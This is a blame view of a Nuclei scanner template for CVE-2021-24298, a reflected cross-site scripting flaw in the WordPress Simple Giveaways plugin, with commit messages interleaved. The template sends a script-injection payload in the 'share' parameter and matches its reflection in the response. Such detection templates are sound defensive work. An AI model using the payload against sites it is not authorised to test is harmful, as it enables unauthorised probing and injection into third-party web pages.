daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-24298.yaml

50 lines
1.8 KiB
YAML
Raw Normal View History

Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
id: CVE-2021-24298
info:
Dashboard Merge Issues Resolution (#5337) * Auto Generated CVE annotations [Wed Sep 7 15:59:37 UTC 2022] :robot: * Fixed merge issues from previous PR * moved vulnerabilities/wordpress/CVE-2019-10692.yaml to cves dir * Fix CVSS information and other minor merge issues Co-authored-by: Sullo <sullo@cirt.net>
2022-09-10 01:55:52 +00:00
name: WordPress Simple Giveaways <2.36.2 - Cross-Site Scripting
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
author: daffainfo
Auto Generated CVE annotations [Sat Sep 10 02:12:57 UTC 2022] :robot:
2022-09-10 02:12:57 +00:00
severity: medium
Dashboard Merge Issues Resolution (#5337) * Auto Generated CVE annotations [Wed Sep 7 15:59:37 UTC 2022] :robot: * Fixed merge issues from previous PR * moved vulnerabilities/wordpress/CVE-2019-10692.yaml to cves dir * Fix CVSS information and other minor merge issues Co-authored-by: Sullo <sullo@cirt.net>
2022-09-10 01:55:52 +00:00
description: |
Auto Generated CVE annotations [Sat Sep 10 02:12:57 UTC 2022] :robot:
2022-09-10 02:12:57 +00:00
WordPress Simple Giveaways plugin before 2.36.2 contains a cross-site scripting vulnerability via the method and share GET parameters of the Giveaway pages, which are not sanitized, validated, or escaped before being output back in the pages.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest version of the WordPress Simple Giveaways plugin (2.36.2 or higher) to mitigate the vulnerability.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com>
2022-05-17 09:18:12 +00:00
- https://codevigilant.com/disclosure/2021/wp-plugin-giveasap-xss/
- https://wpscan.com/vulnerability/30aebded-3eb3-4dda-90b5-12de5e622c91
Dashboard Merge Issues Resolution (#5337) * Auto Generated CVE annotations [Wed Sep 7 15:59:37 UTC 2022] :robot: * Fixed merge issues from previous PR * moved vulnerabilities/wordpress/CVE-2019-10692.yaml to cves dir * Fix CVSS information and other minor merge issues Co-authored-by: Sullo <sullo@cirt.net>
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24298
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 6.1
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2021-24298
cwe-id: CWE-79
Added CPE and EPSS Score to CVE Templates
2023-04-12 10:55:48 +00:00
epss-score: 0.00116
TemplateMan Update [Thu Oct 26 18:00:24 UTC 2023] :robot:
2023-10-26 18:00:24 +00:00
epss-percentile: 0.45077
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:ibenic:simple_giveaways:*:*:*:*:*:wordpress:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: ibenic
product: simple_giveaways
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
framework: wordpress
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
- method: GET
path:
Update CVE-2021-24298.yaml
2021-07-19 06:06:11 +00:00
- '{{BaseURL}}/giveaway/mygiveaways/?share=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
matchers-condition: and
matchers:
- type: word
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
part: body
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
words:
Update CVE-2021-24298.yaml
2021-07-19 06:06:11 +00:00
- "</script><script>alert(document.domain)</script>"
Create CVE-2021-24298.yaml
2021-07-15 03:52:21 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
Auto Template Signing [Fri Oct 27 06:32:23 UTC 2023] :robot:
2023-10-27 06:32:23 +00:00
# digest: 4a0a00473045022100cf1b4eb3b0dbd1d602615a17f317e228fafe8afe41f46503eda53ea0ecd9bb6c022043af68e6acf8d6a4be867d8e567b49367dfd403b1f6d0f0228b2ac498a81b61d:922c64590222798bb761d5b6d8e72950